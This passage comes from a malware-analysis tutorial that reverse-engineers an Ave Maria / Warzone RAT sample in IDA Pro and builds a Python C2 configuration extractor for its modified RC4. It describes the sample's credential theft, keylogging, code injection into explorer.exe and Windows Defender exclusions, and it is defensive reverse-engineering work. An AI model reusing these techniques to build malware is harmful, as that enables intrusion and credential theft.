8.1 and IDA Pro 7.7. Both plugins are available from excellent flareida project. To install them: - **[git clone https://github.com/mandiant/flare-ida](https://github.com/mandiant/flare-ida)** - copy apply_callee_type_plugin.py and struct_typer_plugin.py to "C:\Program Files\IDA **Pro 8.1\plugins" folder.** - copy the content of python folder (for example: “C:\github\flare-ida\python\flare”) to python folder from IDA directory (for example: C:\Program Files\IDA Pro 8.1\python\3) 34 | P a g e ----- - **Notes:** `o` remember to update flare-ida using “git pull” command. `o` After updating it you should copy the named plugins to the mentioned directory. `o` There’re other two plugins in the directory: stackstrings_plugin.py and **shellcode_hashes_search_plugin.py. The first former works only with Python 2.7** (we should change the IDA’s python configuration to fill this request) and the second one is a good plugin, but we’ll use a recent plugin from OALabs that is better. **c.** **Findcrypt-yara** This is a simple, but effective IDA Pro plugin to find crypto constants, mainly. Of course, Flare Capa **Explorer is also able to detect crypto algorithms, but it’s always recommended to have two** methods to do the same task. To install it: - **pip install yara-python** - **[git clone https://github.com/polymorf/findcrypt-yara.git](https://github.com/polymorf/findcrypt-yara.git)** - copy both findcrypt3.py and findcrypt3.rule to IDA’s plugin folder (C:\Program Files\IDA **_Pro 8.1\plugins)_** **d.** **HashDB** HashDB is an excellent plugin from OALabs that perform string hash lookup against a remote database on OALabs. Actually, it is a welcome evolution and extension from the idea offered by **shellcode_hashes_search_plugin.py plugin (created by Mandiant), which I personally used in** different opportunities, and it’s able to provide a seamless integration with IDA Pro and really manage and detect most hashed strings. Install it by executing the following steps: - **[git clone https://github.com/OALabs/hashdb-ida](https://github.com/OALabs/hashdb-ida)** - copy hashdb.py to IDA’s plugin directory (C:\Program Files\IDA Pro 8.1\plugins) - **Attention: as HashDB performs lookup on OALabs server, so you should remember to keep** Internet access in your environment. - **Note: as the same way, hashdb.py is updated from time to time, so don’t forget to update it** and copy the updated version to the mentioned directory above. **e.** **HexRaysPyTools** Igor Kirilov created this plugin. The goal of this plugin is to assist in the creation of classes, structures, and detection of virtual tables, helping us to have a better experience while analyzing the decompiled code. Attention: there will be a compatibility warning on IDA 7.7 and newer versions. Installing this plugin is not complicated: - **[git clone https://github.com/igogo-x86/HexRaysPyTools](https://github.com/igogo-x86/HexRaysPyTools)** 35 | P a g e ----- - **Copy HexRaysPyTools.py file and HexRaysPyTools directory** to IDA plugin directory (C:\Program Files\IDA Pro 8.1\plugins). - **Note: There is an incompatibility of the plugin with recent versions of IDA and, eventually,** you’ll see the following message on “Please use "widget_type" instead of "form_type" _("form_type" is kept for backward-compatibility, and will be removed soon.)”._ **f.** **ttddbg - Time Travel Debugging IDA plugin** This plugin, which was created by Airbus-CERT, adds a new debugger feature to IDA which supports loading Time Travel Debugging traces generated using WinDbg Preview. For now, it works only with IDA Pro 7.7 and can be easily installed through the installer available on: [https://github.com/airbus-cert/ttddbg/releases. Further information on](https://github.com/airbus-cert/ttddbg/releases) [https://github.com/airbus-cert/ttddbg](https://github.com/airbus-cert/ttddbg) **g.** **deREferencing** This IDA Pro plugin implements new registers and stack views, as well as dereferenced pointers, colors, and other useful information. To install it: - [git clone https://github.com/danigargu/deREferencing](https://github.com/danigargu/deREferencing) - Copy dereferencing.py **file and the dereferencing directory into IDA's plugin directory.** I’ve already explained how to use most these plugins in previous articles of this series, so I won’t show how to do it again here. Please, review MAS_2 and MAS_3 **articles to refresh necessary procedures.** As usual, let’s start our analyzing by decompiling the entire program to avoid any decompiler’s issue later: - **File → Produce File → Create C File (or CTRL+F5).** Afterwards, we must add (or confirm) whether necessary Type Libraries are loaded: - Go to View → Type Libraries (or SHIFT+F11) and confirm whether mssdk_win7, ntapi_win7 and **ntddk_win7 are included.** - If they aren’t, so do it by using INS key. It’s suitable to mention that though all of libraries comes from Windows 7 base foundation, in distinct cases I had better results loading recent libraries related to Windows 10 (mainly in malware threats coded as kernel drivers), so it is not a fixed rule. When you have loaded all libraries, you should have something like the picture below: **[Figure 45] IDA Pro: typical used type libraries** 36 | P a g e ----- This sample contains subroutines and functionalities, and readers can easily confirm them by examining its respective strings. As our space and time are limited, so I’ll quick analyze few of these sub-routines and leaving a list of comments. As we learned previously, we are managing and analyzing one of the products of the infection process and the file named “file_6.bin” has the following SHA256 hash: **8293312b3627167f97e4a5d2900bbdef342e60ad926bc303049b1c9c21fe6d72.** The provided malware presents a concise list of artifacts and, mainly, only analyzing its strings on IDA Pro (SHIFT+F12) already brings all necessary directions for the analysis, which IOCs show that: - The threat has strong interaction with browsers like Chrome, Mozilla, Brave, Edge. - It makes usage of Winsock2 APIs. - Apparently it checks for network and Internet connection. - It makes usage of C++ structures and virtual functions. - Checks or collects system’s MAC addresses. - Probably works as a keylogger. - It hooks graphical-related functions. - Steals cookies and login credentials from a list of browsers. - Collect SMTP, POP3, IMAP and HTTP passwords. - It presents a curious reference to Ave Maria: [https://github.com/syohex/java-simple-mine-sweeper](https://github.com/syohex/java-simple-mine-sweeper) - It does an addition into the Windows Defender’s exclusion list. These potential “features” shown above need to be checked, but they are the first impressions about the sample. This binary has 775 functions and, certainly, it would be impossible to cover all of them, so I’ll highlight only the most interesting ones and readers are invited to continue the reversing job. Starting by sub_A943A7, we find a code parsing the PEB and other associated structures, as shown below: **[Figure 46] sub_A943A7 (renamed to ab_search_ntdll): parsing PEB and associated structures** 37 | P a g e ----- Readers won’t find this subroutine as presented in the previous picture, although it’s quite easy to get the same result whether we remember few facts. First, the involved structures follow below: **[Figure 47] _PEB structure** **[Figure 48] _PEB_LDR_DATA structure** **[Figure 49] _LDR_DATA_TABLE_ENTRY structure** 38 | P a g e ----- Please, remember that: a. The PEB (Process Environment Block) is a user mode representation (and structure) of the process, and, for 32-bit system, we can get a pointer to them by using the classic “mov eax, fs:30h” instruction. b. In _PEB structure there’s a member named Ldr at offset 0xC, which is a pointer to the **_PEB_LDR_DATA structure.** c. In _PEB_LDR_DATA, at offset 0x14, there’s a member named InMemoryOrderModuleList that is a forward link (FLINK, from an _ENTRY_LIST structure) pointing to a _LDR_DATA_TABLE_ENTRY **structure. This structure represents a loaded module (DLL).** Likely, _PEB and _PEB_LDR_DATA structures are already loaded in the IDA Pro, but the last one (_PEB_LDR_DATA) isn’t. Thus, go the Structure tab (SHIFT + F9 hotkey) and press INSERT key. Click on Add **standard structure and add it. Once readers added the mentioned structure, perform the following steps:** - rename “ i “ variable to ptr_module. - change its type (Y hotkey) from struct _LIST_ENTRY * to struct _LDR_DATA_TABLE_ENTRY *. The subroutine sub_A94469 is clear and readable, and doesn’t need any comment. At end, I renamed **sub_A943A7 as ab_search_ntdll.** Applying a similar approach to sub_A9E172, readers can get the following: **[Figure 50] Reversed sub_A9E172 subroutine (first part)** 39 | P a g e ----- **[Figure 51] Reversed sub_A9E172 subroutine (second and last part)** Readers can notice: - The function is parsing the PE structures. - It’s calculating and comparing the result with a provided hash argument. - The ROR 13 operation is typical of hashing functions. The result of the reversing task on this subroutine can be improved and, as further note, pay attention to **line 19, where I changed the type (Y hotkey) from DWORD to _IMAGE_EXPORT_DIRECTORY based on the** information of the PE format: IMAGE_DOS_HEADER | IMAGE_NT_HEADERS **|** **IMAGE_OPTIONAL_HEADER | IMAGE_DATA_DIRECTORY (at offset 0x78) and the first member of** **IMAGE_DATA_DIRECTORY (IMAGE_DATA_DIRECTORY[0]) is a pointer (through VirtualAddress member)** to _IMAGE_EXPORT_DIRECTORY. Looking for further interesting parts (and there’re other ones) around the malware code, we’re able to find a specific subroutine (sub_A90F49) that, apparently, it’s responsible for enabling and configuring Remote **Desktop Services (RDS), which is used by the RDP client. As shown below, the first line already brings** details about the goals of the routine, which I’ll be renaming to ab_enables_RDS: 40 | P a g e ----- **[Figure 52] First lines of ab_enables_RDS subroutine** There’re tons of subroutines that present a well-defined goal: - The sub_A91712 is another piece of code related to this subject (RDS/RDP). - The sub_A9337A subroutine loads an obfuscated code from the binary resource section and perform short shift operations. - The sub_ **A92C87 subroutine performs the socket communication (basically using socket, send and** **recv functions) through a network thread. Additionally, there’re other routines related to socket** communication such as 00A93090 (TCP) and sub_A92BD2 (UDP), for example. Another always critical point of any code is its usage of COM (Component Object Model) functions. Yes, I know that people usually don’t like to work with them because the marking task is not so simple, but I already explained it in previous articles, and readers are ready to do it. Anyway, if readers to search for typical COM functions (CoCreateInstance, CoInitialize, **CoInitializeSecurity and so on), certainly they will** find them and there will be few cross-references to CoCreateInstance( ). Please, remember about parameters of this function: **[Figure 53] CoCreateInstance function** To an analyst, the most important parameters are rclsid and riid, which represent the associated CLSID (class ID) and IID (interface ID), respectively, and the output value that’s the *ppv parameter (the last one). 41 | P a g e ----- Of course, there’re other vital facts that must be used and taken in account while programming COM, but this time let’s proceed using only the essential information for malware analysis. Therefore, before applying the necessary reversing, you’ll code like the following one that, as you can notice, it’ not so easy to read because multiple casting operations shown below: 42 | P a g e ----- **[Figure 54] Subroutine sub_A9349F using CoCreateInstance and other COM methods** As readers can also notice, it isn’t possible to understand what’s happening exactly in term of code, although the WMI query provides us a good indicator, and neither be sure about what methods are being called. Thus, we need to work on the code to improve its readability and the first step is discovery CLSID and IID used by CoCreateInstance function. There’re IDA Pro plugins that could accomplish this task, but I’m used to doing it manually by using the following script (SHIFT+F2) to get the associated GUIDs: **[Figure 55] Script to format CLSID and IID GUIDs.** Therefore, we can calculate CLSID and IID GUIDs by providing their respective addresses as shown below: 43 | P a g e ----- - IDC> Guid(0x00A99380) | CLSID -- { 4590F811-1D3A-11D0-891F-00AA004B2E24 } : WbemLocator - IDC> Guid(0x00A9C2B0) | IID -- { DC12A687-737F-11CF-884D-00AA004B2E24 }: IWbemLocator The first information you’re able to easily find using OleView .Net tool [(https://github.com/tyranid/oleviewdotnet) and the second one using the excellent reference to .NET 4.8](https://github.com/tyranid/oleviewdotnet) [from Microsoft (https://referencesource.microsoft.com/), as shown below:](https://referencesource.microsoft.com/) - [https://referencesource.microsoft.com/#System.Management/InteropClasses/WMIInterop.cs,dc12](https://referencesource.microsoft.com/#System.Management/InteropClasses/WMIInterop.cs,dc12a687-737f-11cf-884d-00aa004b2e24,references) [a687-737f-11cf-884d-00aa004b2e24,references](https://referencesource.microsoft.com/#System.Management/InteropClasses/WMIInterop.cs,dc12a687-737f-11cf-884d-00aa004b2e24,references) **[[InterfaceTypeAttribute(0x0001)]](https://referencesource.microsoft.com/mscorlib/A.html#5be4f2a2a8e65609)** **[[TypeLibTypeAttribute(0x0200)]](https://referencesource.microsoft.com/mscorlib/A.html#d330b0c52c32026b)** **[[GuidAttribute("DC12A687-737F-11CF-884D-00AA004B2E24")]](https://referencesource.microsoft.com/mscorlib/A.html#1d7e6a222f41fcf0)** **[[ComImport]](https://referencesource.microsoft.com/mscorlib/A.html#8df07ffc94774240)** **interface** **[IWbemLocator](https://referencesource.microsoft.com/System.Management/R/edefd6088aadaf13.html)** **{** **[[PreserveSig] int](https://referencesource.microsoft.com/mscorlib/A.html#6e08a3b23ca72e20)** **[ConnectServer_([In][MarshalAs(UnmanagedType.BStr)]](https://referencesource.microsoft.com/#System.Management/InteropClasses/WMIInterop.cs,5a35b84b340befd4)** **string** **[strNetworkResource, [In][MarshalAs(UnmanagedType.BStr)] string strUser, [In]IntPtr](https://referencesource.microsoft.com/mscorlib/A.html#ca1f72525eec46fb)** **strPassword,** **[[In][MarshalAs(UnmanagedType.BStr)] string](https://referencesource.microsoft.com/mscorlib/A.html#ca1f72525eec46fb)** **[strLocale, [In] Int32](https://referencesource.microsoft.com/mscorlib/A.html#ca1f72525eec46fb)** **lSecurityFlags,** **[[In][MarshalAs(UnmanagedType.BStr)] string](https://referencesource.microsoft.com/mscorlib/A.html#ca1f72525eec46fb)** **[strAuthority, [In][MarshalAs(UnmanagedType.Interface)]](https://referencesource.microsoft.com/mscorlib/A.html#ca1f72525eec46fb)** **[IWbemContext](https://referencesource.microsoft.com/System.Management/InteropClasses/WMIInterop.cs.html#009c3d97f8220f8d)** **[pCtx, [Out][MarshalAs(UnmanagedType.Interface)] out](https://referencesource.microsoft.com/mscorlib/A.html#fd277621fdfde8f1)** **[IWbemServices](https://referencesource.microsoft.com/System.Management/InteropClasses/WMIInterop.cs.html#1a709bfea46aaf94)** **ppNamespace);** } **[Figure 56] IWbemLocator and its respective methods** [Reading the description offered by Microsoft (https://learn.microsoft.com/en-](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemlocator) [us/windows/win32/api/wbemcli/nn-wbemcli-iwbemlocator) about the class and its respective interface,](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemlocator) we have: _“Use the IWbemLocator interface to obtain the initial namespace pointer to the_ _[IWbemServices interface for](https://learn.microsoft.com/en-us/windows/desktop/api/wbemcli/nn-wbemcli-iwbemservices)_ _WMI on a specific host computer. You can access Windows Management itself using_ _the IWbemServices pointer, which is returned by the_ _[IWbemLocator::ConnectServer](https://learn.microsoft.com/en-us/windows/desktop/api/wbemcli/nf-wbemcli-iwbemlocator-connectserver)_ _method.”_ In few words, the malware’s author wishes to execute a WMI query on the system. Of course, as the given interface holds only one method (ConnectServer( )) beyond the necessary ones (QueryInterface( ), **AddRef( ) and Release( ) – please, check previous articles of this series), so our scope here is really** reduced. Our next steps are: a. changing all necessary variable types (Y hotkey) b. eventually renaming variables (N hotkey) No doubts, MSDN (online or offline versions) is our reference about APIs. Right now, we aren’t really concerned about APIs such as CoInitializeSecurity( ) and CoInitialize( ), but CoCreateInstance( ) is interesting and, of course, we already have necessary information to change it. One of possible suggestions is to add interfaces at Structure tab (SHIFT+F9 and then INSERT key) through the usage of the following nomenclature: Vtbl. Example: IWbemLocatorVtbl. Soon after adding the interface (structure) you’ll have the following: 44 | P a g e ----- **[Figure 57] IWbemLocator interface | structure** Therefore, our first action is changing the ppv’s type from LPVOID* to IWbemLocator*. Automatically you’ll see soon below a call to ConnectServer( ), as expected. Additionally, rename “ppv” to “ptr_IWbemLocator”. In the call to ConnectServer( ), change v8 parameter (its last parameter) to IWbemServices* (check MSDN: [https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemlocator-](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemlocator-connectserver)) [connectserver)) and rename it to ptr_IWbemServices. At the same way, rename v3 to ptr_IWbemLocator](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemlocator-connectserver)) and change its type from void* to IWbemLocator*. Following the same approach, change the type of last argument of ExecQuery( ) to IEnumWbemClassObject* and rename it to ptr_ IEnumWbemClassObject [(please, about the chosen type, check the MSDN: https://learn.microsoft.com/en-](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemservices-execquery) [us/windows/win32/api/wbemcli/nf-wbemcli-iwbemservices-execquery).](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemservices-execquery) In the Next( ) method, make two changes: 1. rename the fourth argument to ptr_IWbemClassObject and change its type to **IWbemClassObject*.** 2. rename the fifth argument to ptr_puReturned. [Once more, confirm my choices on MSDN: https://learn.microsoft.com/en-](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-ienumwbemclassobject-next) [us/windows/win32/api/wbemcli/nf-wbemcli-ienumwbemclassobject-next.](https://learn.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-ienumwbemclassobject-next) The four argument of IWbemClassObject::Get( ) is an enumeration (all of values starting by “CIM_”), so go to Enumerations tab (SHIFT+F10), press INSERT key and choose “Add a standard enum by symbol name”. Search for “CIM_” and pick up one of existing CIMTYPE_ENUMERATION (for example, CIM_ILLEGAL). Automatically all members of the CIMTYPE_ENUMERATION are going to be included. Returning to the code, on the line “&& pvarg.vt == 8”, click on “8” and press “M”. The option for “CIM_STRING” will be presented for you. Take it. Returning to other functions (like CoCreateInstance( )) you can also add an enumeration (CLSCTX) by following the same procedure and picking up any of them (example: CLSCTX_INPROC_SERVER) that all of members will be added. Clicking on the third parameter of CoCreateInstance( ), press “M” hotkey and choose an enumeration start by “CLSCTX”. Readers can replicate these procedures to other functions, variables and constant of this specific subroutine and, of course, to other subroutines using COM functions. Actually, this approach should be repeated over the whole pseudo code to make it clear to read and understand what exactly is happening. A preview of our changes in this subroutine (and there’re more to do) can be checked in the next page: 45 | P a g e ----- **[Figure 58] Subroutine sub_A9349F after performing a compact list of changes** If readers compare figures 54 and 58, so certainly changes will be evident and, as I mentioned previously, we could proceed further changes by following the same approach. It’s important to underscore that we can use the same marking-up technique to other places in the same code. For example, readers are able to find two functions calls (NetUserAdd( ) and **NetLocalGroupAddMembers( )) inside sub_A90D2C. As expected, the initial appearance of the subroutine** is not so good, but we can follow the same steps to transform it into something better. NetUserAdd( ) function specify the level of information in its third argument, and the number “1” means USER_INFO_1 structure. Once again, the same recipe is repeated for all malware’s subroutine. 46 | P a g e ----- For example, the subroutine sub_A881BB performs a network communication using socket functions on purpose to evaluate connectivity with the Internet (microsoft.com, port 80). After applying the same procedure that’s changing types and renaming variables, which make part of the marking task, we have: **[Figure 59] Subroutine sub_A881BB** **after applying types and renaming variables** 47 | P a g e ----- **[Figure 60] Data transmitted by send( ) function** I’d like to leave comments that, eventually, could help readers: - Add enumerations (SHIFT+F10 followed by INSERT) starting with ‘AF_’, ‘SOCK_’ and ‘IPPROTO’. Remember: once you have added one of possible values, all the remaining are also added. - Change sockaddr structure type by sockaddr_in (second argument of WSAConnect() ) because code is using TCP/IP stack. Readers can search for other subroutines using socket related functions such as socket( ), connect( ), recv( **), and so on, and you will be able to apply the same logic and obtain related results, as shown below:** **[Figure 61] Subroutine A922BD2** 48 | P a g e ----- As usual for most malware samples, this one uses evasion techniques which one of them is a code injection into 32-bit version of explorer.exe. There isn’t anything new here and the procedure is the same of any other malware sample: create an own process, search for a determined running process (explorer.exe) through process snapshot and perform standard code injection, as shown in the next figures: 49 | P a g e ----- **[Figure 62] A95EDE (renamed to ab_code_injection) search for a process and performing code injection** Readers can confirm there is nothing new here and I’ve just renamed some variables and added few enumerations (MEM_*, PAGE_* and CREATE_ ) to use them with “M hotkey”. As we do for standard C system programming, the routine below is responsible for searching for a specific running process (explorer.exe) using usual functions like CreateToolhelp32Snapshot( ), Process32First( ) and Process32Next( ). As readers also can notice, I added TH32CS_* enumeration values and change the first argument of CreateToolhelp32Snapshot( ): **[Figure 63] Subroutine A95FC1 (renamed to ab_search_for_explorer_exe)** Finally, a quite basic code injection function follows, and I only changed constants by their nominal representations, as I have been done so far: 50 | P a g e ----- **[Figure 64] Subroutine A95EDE (renamed to ab_code_injection)** 51 | P a g e ----- ## 9. C2 Configuration Extractor As I mentioned earlier in this text, when I started writing this sixth article I wanted providing a simple article and wrap-up to readers, and then I’d would be able to move forward to different stuff in malware analysis. Thus, choosing a simple threat like this one (Ave Maria, which is derived from Warzone RAT) it would be an easy choice and, no doubts, it is also a fast way to review learned foundations from previous articles. Additionally, it’s well-known that Ave Maria / Warzone RAT uses RC4 to encrypt IP addresses or URLs used to communicate with malware actors. RC4 is composed by two components, which are: the KSA (Key-Scheduling Algorithm) and PRGA (Pseudo**Random Generation Algorithm). In the KSA, a first initialization only populates the S array with number** from 1 to 255 and soon afterwards the stage is responsible for generating the permutation in the array “S” using the key as initial input, and this array (known as Sbox, or substitution box) will be used by the PRGA to generate the keystream to decode the given encrypted data. The algorithm is shown below: **[[Figure 65] RC4 | KSA (https://en.wikipedia.org/wiki/RC4)](https://en.wikipedia.org/wiki/RC4)** **[[Figure 66] RC4 | PRGA (https://en.wikipedia.org/wiki/RC4)](https://en.wikipedia.org/wiki/RC4)** In few and rough words: - A S[256] array is initialized with number from 1 to 256. - The provided key is used to scramble the array. - The scrambled array is used to generate a key stream. - This key stream is xored with the original encrypted data to decode it. As most malware samples, the C2 configuration can be hidden in sections such as .data, .text, .bss, .rsrc and so on, and most of them follow similar syntaxes to organize this configuration such as: - **[key] [encrypted data]** - **[key length] [key] [encrypted data]** 52 | P a g e ----- Of course, C2 configuration doesn’t need to follow any of these patterns, but it’s always a good bet. In the case of Ave María / Warzone Rat, it uses the second format shown above (remember from first article of this series that Hancitor follows the first format). Thus, it’d would be quite easy to decode our sample that uses .bss section to store the C2 configuration. However, if readers to jump to subroutine sub_A82488, you will have a small surprise: **[Figure 67] sub_A8224BB: decrypting subroutine** 53 | P a g e ----- The truncated line 49 has the following content: ***(_BYTE *)(v13 + a2) ^= *(_BYTE *)((unsigned __int8)(this[1] + v10) + v11) ^ (unsigned __int8)(*(_BYTE** ***)((unsigned __int8)(v10 + v12) + v11) + *(_BYTE *)(((unsigned __int8)(*(_BYTE *)((unsigned __int8)((32 * this[1]) ^** **(*this >> 3)) + v11) + *(_BYTE *)((unsigned __int8)((32 * *this) ^ (this[1] >> 3)) + v11)) ^ 0xAA) + v11));** **[Figure 68] truncated line 49 of sub_A8224BB** Likely readers will have questions about the code, but I’ll explain such decisions soon. At this time, it’s important to notice a critical point: it is NOT a standard RC4 algorithm. Actually, the own line 49 provides us an excellent evident about it. At the same Wikipedia’s page mentioned on the previous page, readers will find other modified versions of standard RC4, and one of them, RC4+, is similar (not equal) to our case: **[Figure 69] RC4+ algorithm (from https://en.wikipedia.org/wiki/RC4)** Indeed, the existence of of shl, shr instructions and an XOR operation with 0xAA shows that we’re in the right way. However, pay attention that: a. there’re meaningful lines right before this line 49. b. **on line 25, we have a modulus operation with 0xFA, which is not usual.** Actually, there’re slight differences as compared to standard RC4 and, as usual, the algorithm doesn’t tell some details (and traps) about a possible implementation. Before proceeding, it’s quite important to pay attention to key definitions and choices I adopted during the marking-up phase: a. I’ve defined a structure named struct_rc4 that contains all necessary variables and named the structure variable as p_rc4. b. Instead of choosing i and j, as shown on Wikipedia, I’ve chosen x and y variables, respectively, as members of the structure. c. I’ve used j and k as other variables that would hold indexes over the operation. d. Temporary variables were created to hold valuable information: var_k1 and var_k. e. **data array is the name of the array holding the encrypted data.** f. **cypher variable is the counter used to parse the array holding the encrypted data.** g. **sbox variable it’s a pointer to S array’s content (substitution box) and, no doubts, it’s the most** important member of the struct_rc4 structure. Additionally, there’s a S array variable too. **h.** I used other variable named key to represent the provided key, index variable during the KSA **phase and data_len variable to represent the length of encrypted data.** 54 | P a g e ----- The mentioned structure definition (SHIFT+F9) follows below: **[Figure 70] struct_rc4 definition** Therefore, we need to do a heavy work on the current code (Figure 67) before proceeding because a good marking is always useful for understanding the code and the big picture. The code of sub_A824BB **subroutine, after doing all changes (variable type changes and renaming operations), is the following one:** 55 | P a g e ----- **[Figure 71] sub_A824BB (renamed to ab_RC4) after marking up.** The truncated line 54 (previously 49) has the following content: **data[cypher] ^= sbox_[(p_rc4->y + var_temp)] ^ (sbox_[(var_temp + var_k)] + sbox_[(sbox_[((0x20 *** **p_rc4->y) ^ (p_rc4->x >> 3))] + sbox_[((0x20 * p_rc4->x) ^ (p_rc4->y >> 3))]) ^ 0xAA]);** **[Figure 72] truncated line 54 of sub_A8224BB** Readers can notice that the code is much better and other details must be commented: - The first 24 lines don’t present any news and, basically, the code is initializing the S array with numbers from 1 to 256. - The line 28 is remarkably similar to the usual KSA phase of a standard RC4, but it introduces an interesting number: 250. We’re going to l learn reasons that explains why it’s more relevant than you can imagine. - **Lines 30 and 32 represent, initially, the same swap between S arrays of the standard RC4 algorithm.** - **Things change from line 43 onward and a list of instructions were introduced when compared to** RC4. - **Line 54 is intrinsically complex and that’s the reason I’ve highlighted it using distinct colors.** - **Still on line 54, there’re three interesting points: shl (shift left) and shr (shift right) operations** (both bring a subtle trap) and an XOR operation with 0xAA, which also presents a subtle detail. 56 | P a g e ----- The next step is to implement this algorithm in languages such Python, C or Golang, but don’t go so fast. Most of the time we use the pseudo code from IDA Pro to implement the C2 configuration extractor and, usually, everything works well. Nonetheless, this is not one of these times. Certainly, readers can implement from the pseudo code, but it doesn’t bring the necessary details to do it without running risks. Therefore, I’ll use the own Assembly code as reference to implement the C2 configuration extractor. However, another significant issue comes up: this translation is not naturally simple, and readers need to pay attention to exact Assembly instructions to do it precisely. Additionally, it’s recommended to use a debugger to check your implementation as you’re writing the Python code. Fundamentally, when I need to translate a customized algorithm from Assembly code to another language I use a technique informally named “implementation by decomposition”. In other words, I translate the minimal amount of Assembly instructions to Python to be able to verify it against a debugger. Of course, the final script is a bit longer than usual, but usually works very well. Probably readers have another technique to do it, so feel free to follow what’s best for you. Another interesting trick is that I always use the Notepad++ to copy every single Assembly code and make my comments there. Why? Because I can highlight a word and all occurrences of it will be highlighted too. Of course, we can do comments on IDA Pro too, but in this case I think it’s easier to use Notepad++ to accomplish this task. Before showing my notes and scripts, we have to remember that key and encrypted data are stored on **.bss section. Readers can find this reference to .bss section on subroutine sub_A86A58. Observing the .bss** section (CTRL+S hotkey) readers will find the following data: **[Figure 73] truncated line 54 of sub_A8224BB** The stored data seems to be quite obvious, mainly if readers already analyzed the Warzone RAT previously. 57 | P a g e ----- We have the following scheme: - On line 0x00BD9000 is the key size. In this case, 0x32 = 50 bytes. - From line 0x00BD9004 to 0x00BD9035, we have the key. - From line 0x00BD9036 to 0xBD90AA we have the encrypted data. Therefore, it’s quite easy to extract this information from binary using Python. However, there’s a minor problem: we can’t keep the key with only 50 bytes. Why? Do you remember about the code on page 55 (line 28) when I underscored the existence of the number **250? That’s the first catch: the extracted key really has 50 bytes, but you will need an array of 250 bytes** **as key. In other words, it will be necessary to expand the array containing the extracted key and complete** **it with zeros until reaching 250 bytes!** **Is it game over? Not even close! Keep reading. After having overcome this catch, implementing the KSA** **phase is a bit easier, and readers can also use the pseudo code as reference here to do it because there** won’t be any trap on the way. The real problem come up when we need to implement the PRGA phase. Why? Because you can lose crucial details that are in Assembly code that aren’t so easy to notice on IDA pseudo code. However, before proceeding, I strongly recommend you check the SBOX’s content soon after the KSA implementation because it must be correct to be used in the PRGA phase. For example, in my case, I implemented a simple routine (printsbox( )), containing few lines of Python code, to print the resulting SBOX from KSA phase and make sure you didn’t make any mistake: **[Figure 74] SBOX S resulting from KSA phase** 58 | P a g e ----- To help readers to visualize what I did and understand my decisions, I’m leaving my Notepad++ notes here, which are composed by the transcription of the Assembly code and respective comments on each line. This notes are the most useful information of this section, by far: **[Figure 75] Commented Assembly code representing the PRGA** First comments about the code above follow: - Readers will see variable names such as A, B, C, D, etc. These variables have been used in the final Python C2 configuration extractor (later). - All interpretations have been confirmed by debugging the Python code and also using a debugger. - I’ve left the variable’s values on side of each assembly instruction for helping readers to follow the logic and, eventually, to be able to check whether you are getting the same results. 59 | P a g e ----- - **movsx instruction always demands attention. Please, remember its description from Intel manual:** **_“Copies the contents of the source operand (register or memory location) to the destination_** **_operand (register) and sign extends the value to 16 or 32 bits. The size of the converted value_** **_depends on the operand-size attribute.” (Intel Developer Manual)_** **[Figure 76] MOVSX instruction: description and table from Intel manual: Intel® 64 and IA-32** **Architectures Software Developer’s Manual – page 1314** - Over the code, it’s necessary to pay attention to appearance of negative values. Additionally, instructions such as movsx is critical when being used with these negative numbers. - The SIGNEXT routine (shown in the Python code) handle with issues caused by movsx instruction. I’ve used the implementation described by Igor Skochinsky, and there’re two references to this topic: - [https://stackoverflow.com/questions/9433541/movsx-in-python](https://stackoverflow.com/questions/9433541/movsx-in-python) - [http://graphics.stanford.edu/~seander/bithacks.html](http://graphics.stanford.edu/~seander/bithacks.html) - There are few “mov” instructions that take only a byte (and not a double word) as operand, and we need to pay attention to this. For example: mov bl, byte[ecx+edx] - The rotate instructions (shr and shl) can bring surprises, mainly if reader to consider that arguments can be negative. - According to my experience in writing Python code from Assembly equivalents, it’s always recommended to be careful in examining past instructions to keep the same references. That’s one of the reasons that doing it in a simple editor like Notepad++ could be useful for getting a good understanding of the challenge. - Reading my notes, readers will notice that the line 54 is composed by a considerable list of Assembly instructions, so I kept this approach in the Python code to make easier to perform any check just in case was necessary. - Readers can check their progress by checking the SBOX content of each interaction and confirming that the respective values are right. Additionally, a debugger can be used to retrieve a counterproof about it, so might be useful making the same notes as side comments on the assembly lines offered by the debugger. An example is shown below: 60 | P a g e ----- **[Figure 77] Commented Assembly code representing the PRGA on OllyDbg** Finally, the C2 configuration extractor written in Python follows below: 61 | P a g e ----- 62 | P a g e ----- 63 | P a g e ----- **[Figure 78] C2 Extractor Configurator written in Python** 64 | P a g e ----- Readers can get a confirmation of this result using a debugger or even a public sandbox like Triage (check **Figure 7 on page 8).** Eventually, readers could think it’s easy to translate instructions from Assembly to Python but take care. Because the high-level profile of Python, we should carefully choose the right Python instructions to reflect exactly the set of Assembly instructions. Further notes follow below: - The decryptor itself is composed by the first 118 lines. - I kept the printsbox(x) routine in the code to help readers to use it to print a SBOX whether necessary. - **On line 28, pay attention to the fact I initialized the SBOX with zeros to make sure that everything is** predictable since beginning. - Although I haven’t mentioned the movzx instruction previously when I commented about Assembly, it has a relevant role when translating to Python language because it also tells us that we only should have concern with the byte portion of a data. According to Intel Developer Manual, its description is: “Copies the contents of the source operand (register or memory location) to the **_destination operand (register) and zero extends the value. The size of the converted value_** **_depends on the operand-size attribute.”. Therefore, we have to pay attention to this detail too._** **[Figure 79] MOVZX instruction: description and table from Intel manual: Intel® 64 and IA-32** **Architectures Software Developer’s Manual – page 1324** - Once again, it’s important to highlight that script could be more compact, but I kept it with more instructions to reflect closely the Assembly instructions. - In the second part, page 64 / line 46 there’s a small catch: as I had explained previously, I expanded **the key array to 250 bytes because the original code (in the IDA Pro) expects exactly it.** - In various parts of the Python script, I used an equivalent “do while” construction to reflect exactly what’s shown in IDA Pro and Assembly code. - If readers face issues during the coding process, print the SBOX to confirm whether the content is the expected one. - Pay attention to line 102: I used N=0xFFFFFFAA and not 0x000000AA. Ask yourself the reasons. - In the main subroutine arguments are the .bss section’s address and expected data size. Of course, it’s quite trivial to adapt this script to find the start of the .bss section automatically and to 